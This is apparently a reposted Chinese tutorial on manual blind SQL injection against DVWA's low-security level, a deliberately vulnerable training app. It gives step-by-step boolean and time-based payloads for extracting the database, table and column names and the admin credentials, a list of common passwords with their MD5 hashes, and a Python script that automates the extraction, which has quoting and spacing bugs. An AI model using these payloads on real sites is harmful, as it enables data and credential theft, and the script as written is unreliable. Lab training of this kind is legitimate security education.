DVWA low SQL Injection(Blind)盲注--手工测试过程解析

解析

一、普通SQL注入
1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等
2.一般在页面上直接就会显示执行sql语句的结果

二、SQL盲注
1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
2.一般在页面上不会直接显示sql执行的结果
3.有可能出现不确定sql是否执行的情况

根据页面不同的响应方式,SQL盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注。

Level Low
1.文本框输入并提交的形式,GET请求方式
2.未作任何输入过滤和限制,攻击者可任意构造所想输入的sql查询

服务端代码

 0 ) {
        // Feedback for end user
        $html .= '
User ID exists in the database.
'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '
User ID is MISSING from the database.
'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

过程

1.判断是否存在注入,注入的类型
不管输入框输入为何内容,页面上只会返回以下2种情形的提示:
满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
DVWA low SQL Injection(Blind)盲注--手工测试过程解析_第1张图片

构造User ID取值的语句 输出结果
① 1 exists
② ’ MISSING
③ 1 and 1=1 # exists
④ 1 and 1=2 # exists
⑤ 1’ and 1=1 # exists
⑥ 1’ and 1=2 # MISSING

由语句⑤和⑥构造真假条件返回对应不同的结果,可知存在字符型的SQL盲注漏洞

2.猜解当前数据库名称
数据库名称的属性:字符长度、字符组成的元素(字母/数字/下划线/…)&元素的位置(首位/第2位/…/末位)

1)判断数据库名称的长度(二分法思维)

输入 输出
1’ and length(database())>10 # MISSING
1’ and length(database())>5 # MISSING
1’ and length(database())>3 # exists
1’ and length(database())=4 # exists

==>当前所连接数据库名称的长度=4

2)判断数据库名称的字符组成元素
此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。

mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。

在构造语句比较之前,先查询以下字符的ASCII码的十进制数值作为参考:

字符 ASCII码-10进制
a 97
z 122
A 65
Z 90
0 48
9 57
_ 95
@ 64

以上常规可能用到的字符的ASCII码取值范围:[48,122]
当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]

输入 输出
1’ and ascii(substr(database(),1,1))>88 # exists
1’ and ascii(substr(database(),1,1))>105 # MISSING
1’ and ascii(substr(database(),1,1))>96 # exists
1’ and ascii(substr(database(),1,1))>100 # MISSING
1’ and ascii(substr(database(),1,1))>98 # exists
1’ and ascii(substr(database(),1,1))=99 # MISSING
1’ and ascii(substr(database(),1,1))=100 # exists

==>数据库名称的首位字符对应的ASCII码为100,查询是字母 d

类似以上操作,分别猜解第2/3/4位元素的字符:
1’ and ascii(substr(database(),2,1))>88 #
第2位字符为 v
1’ and ascii(substr(database(),3,1))>88 #
第3位字符为 w
1’ and ascii(substr(database(),4,1))>88 #
…==>第4位字符为 a

从而,获取到当前连接数据库的名称为:dvwa

3.猜解数据库中的表名
数据表属性:指定数据库下表的个数、每个表的名称(表名长度,表名组成元素)

对于Mysql,DBMS数据库管理系统—>information_schema库—>tables表—>table_schema,table_name,table_rows,…字段。其结构如下所示:

DVWA low SQL Injection(Blind)盲注--手工测试过程解析_第2张图片
DVWA low SQL Injection(Blind)盲注--手工测试过程解析_第3张图片
1)猜解表的个数

输入 输出
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>10 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>5 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # exists

==> dvwa数据库中表的个数=2

2)猜解表名

表名称的长度

# 1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
# 2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
输入 输出
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # MISSING
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 # exists
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 # exists
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # exists

==> dvwa数据库中第1个表的名称字符长度=9

表名称的字符组成
依次取出dvwa数据库第1个表的第1/2/…/9个字符分别猜解:

输入 输出
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # exists
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 # MISSING
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 # exists
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 # exists
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # MISSING
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 # MISSING
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists

==> dvwa数据库第1个表的第1个字符的ASCII码=103,对应的字符为g

==> 依次猜解出其他位置的字符分别为:u、e、s、t、b、o、o、k
==> 从而dvwa数据库第1个表的名称为:guestbook


1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #

猜解出dvwa数据库第2个表的名称为:users

4.猜解表中的字段名
表中的字段名属性:表中的字段数目、某个字段名的字符长度、字段的字符组成及位置;某个字段名全名匹配
DVWA low SQL Injection(Blind)盲注--手工测试过程解析_第4张图片
以[dvwa库-users表]为例:

1)猜解users表中的字段数目

# 判断[dvwa库-users表]中的字段数目
(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
# 判断在[dvwa库-users表]中是否存在某个字段(调整column_name取值进行尝试匹配)
(select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
# 猜解第i+1个字段的字符长度
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
# 猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)
ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx 
输入 输出
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>10 # MISSING
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>5 # exists
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>8 # MISSING
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8 # exists

==>dvwa库的users表中有8个字段

2)猜解users表中的各个字段的名称
按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称…然后是第2/3/…/8个字段名称。
当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码…

【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…

输入 输出
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘username’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user_name’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘uname’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘u_name’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user’)=1 # exists

==>users表中存在字段user

输入 输出
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘password’)=1 # exists

==>users表中存在字段password
5.获取表中的字段值

1)用户名的字段值

输入 输出
1’ and length(substr((select user from users limit 0,1),1))>10 # MISSING
1’ and length(substr((select user from users limit 0,1),1))>5 # MISSING
1’ and length(substr((select user from users limit 0,1),1))>3 # MISSING
1’ and length(substr((select user from users limit 0,1),1))=4 # MISSING
1’ and length(substr((select user from users limit 0,1),1))=5 # exists

==>user字段中第1个字段值的字符长度=5

2)密码的字段值

输入 输出
1’ and length(substr((select password from users limit 0,1),1))>10 # exists
1’ and length(substr((select password from users limit 0,1),1))>20 # exists
1’ and length(substr((select password from users limit 0,1),1))>40 # MISSING
1’ and length(substr((select password from users limit 0,1),1))>30 # exists
1’ and length(substr((select password from users limit 0,1),1))>35 # MISSING
1’ and length(substr((select password from users limit 0,1),1))>33 # MISSING
1’ and length(substr((select password from users limit 0,1),1))=32 # exists

==>password字段中第1个字段值的字符长度=32
猜测这么长的密码位数,可能是用来md5的加密方式保存,通过手工猜解每位数要花费的时间更久了。

方式①:用二分法依次猜解user/password字段中每组字段值的每个字符组成

user字段-第1组取值 password字段-第1组取值
第1个字符 1’ and ascii(substr((select user from users limit 0,1),1,1))=xxx # 1’ and ascii(substr((select password from users limit 0,1),1,1))=xxx #
第2个字符 1’ and ascii(substr((select user from users limit 0,1),2,1))=xxx # 1’ and ascii(substr((select password from users limit 0,1),2,1))=xxx #
第n个字符 1’ and ascii(substr((select user from users limit 0,1),n,1))=xxx # 1’ and ascii(substr((select password from users limit 0,1),n,1))=xxx #
user字段-第2组取值 password字段-第2组取值
第1个字符 1’ and ascii(substr((select user from users limit 1,1),1,1))=xxx # 1’ and ascii(substr((select password from users limit 1,1),1,1))=xxx #
第2个字符 1’ and ascii(substr((select user from users limit 1,1),2,1))=xxx # 1’ and ascii(substr((select password from users limit 1,1),2,1))=xxx #
user字段-第i组取值 password字段-第i组取值
第1个字符 1’ and ascii(substr((select user from users limit i-1,1),1,1))=xxx # 1’ and ascii(substr((select password from users limit i-1,1),1,1))=xxx #
第2个字符 1’ and ascii(substr((select user from users limit i-1,1),2,1))=xxx # 1’ and ascii(substr((select password from users limit i-1,1),2,1))=xxx #
第n个字符 1’ and ascii(substr((select user from users limit i-1,1),n,1))=xxx # 1’ and ascii(substr((select password from users limit i-1,1),n,1))=xxx #

方式②:利用日常积累经验猜测+运气,去碰撞完整字段值的全名

user password md5($password)
admin password 5f4dcc3b5aa765d61d8327deb882cf99
admin123 123456 e10adc3949ba59abbe56e057f20f883e
admin111 12345678 25d55ad283aa400af464c76d713c07ad
root root 63a9f0ea7bb98050796b649e85481845
sa sa123456 58d65bdd8944dc8375c30b2ba10ae699
输入 输出
1’ and substr((select user from users limit 0,1),1)=‘admin’ # exists
1’ and (select count(*) from users where user=‘admin’)=1 # exists
1’ and (select count(*) from users where user=‘admin123’)=1 # MISSING
1’ and (select count(*) from users where user=‘root’)=1 # MISSING

方式①的猜解准确率和全面性较高,但是手工猜解花费的时间比较长;方式②猜解效率可能稍快一些,手工猜解的命中率较低,如果用户名or密码字典数据较少,可能会漏掉数据没有猜解出来,不确定性较多。实际猜解过程中,可以结合两种方法一起来尝试,互相补充。

6.验证字段值的有效性
将以上admin–password填写到前台登录界面的两个输入框中,尝试登录是否成功
DVWA low SQL Injection(Blind)盲注--手工测试过程解析_第5张图片
PS:
以上猜解的方法,除了利用基于布尔的盲注方式,还可以利用基于时间延迟的盲注进行操作。此时,需要结合if函数和sleep()函数来测试不同判断条件导致的延迟效果差异,如:1’ and if(length(database())>10,sleep(5),1) #
if条件中即数据库的库、表、字段、字段值的获取和数值大小比较,若服务器响应时执行了sleep()函数,则判断if中的条件为真,否则为假。

作者:Fighting_001
链接:https://www.jianshu.com/p/757626cec742
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

python脚本代码

import requests


s = requests.Session()

url = 'http://localhost/dvwa/vulnerabilities/sqli_blind/'

payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'

headers ={'Cookie': 'security=low; PHPSESSID=69tm418ok4gsnureo607gp17a2'}


for j in range(1, 50):
    databaseLen_payload = "?id=1' and length(database())=" + str(j) + " %23&Submit=Submit#"
    # 所有payload里的注释#要用url编码表示,因为这是直接添加在url里的
    if 'User ID exists in the database.' in s.get(url + databaseLen_payload, headers=headers).text:
        databaseLen = j
        break
print('database_lenth: ' + str(databaseLen))


databse_name = ''
for j in range(1, databaseLen + 1):
    for i in payloads:
        databse_payload = "?id=1' and substr(database(),' + str(j) + ',1)='" + str(i) + "' %23&Submit=Submit#"

        if 'User ID exists in the database.' in s.get(url + databse_payload, headers=headers).text:
            databse_name += i
print('database_name: ' + databse_name)


for j in range(1, 50):
    tableNum_payload = "?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=" + str(
        j) + ' %23&Submit=Submit#'
    if 'User ID exists in the database.' in s.get(url + tableNum_payload, headers=headers).text:
        tableNum = j
        break
print('tableNum: ' + str(tableNum))



for j in range(0, tableNum):
    table_name = ''
    for i in range(1, 50):
        tableLen_payload = "?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(
            j) + ',1),1))=' + str(i) + ' %23&Submit=Submit#'
        # 用法substr('This is a test', 6) 返回'is a test'
        if 'User ID exists in the database.' in s.get(url + tableLen_payload, headers=headers).text:
            tableLen = i
            print('table' + str(j + 1) + '_length: ' + str(tableLen))

            # (2)内部循环爆破每个表的表名
            for m in range(1, tableLen + 1):
                for n in payloads:  # i在上个循环用过了
                    table_payload = "?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit" + str(
                        j) + ',1),' + str(m) + ",1)='" + str(n) + "' %23&Submit=Submit#"
                    if 'User ID exists in the database.' in s.get(url + table_payload, headers=headers).text:
                        table_name += n
            print('table' + str(j + 1) + '_name: ' + table_name)

你可能感兴趣的:(DVWA low SQL Injection(Blind)盲注--手工测试过程解析)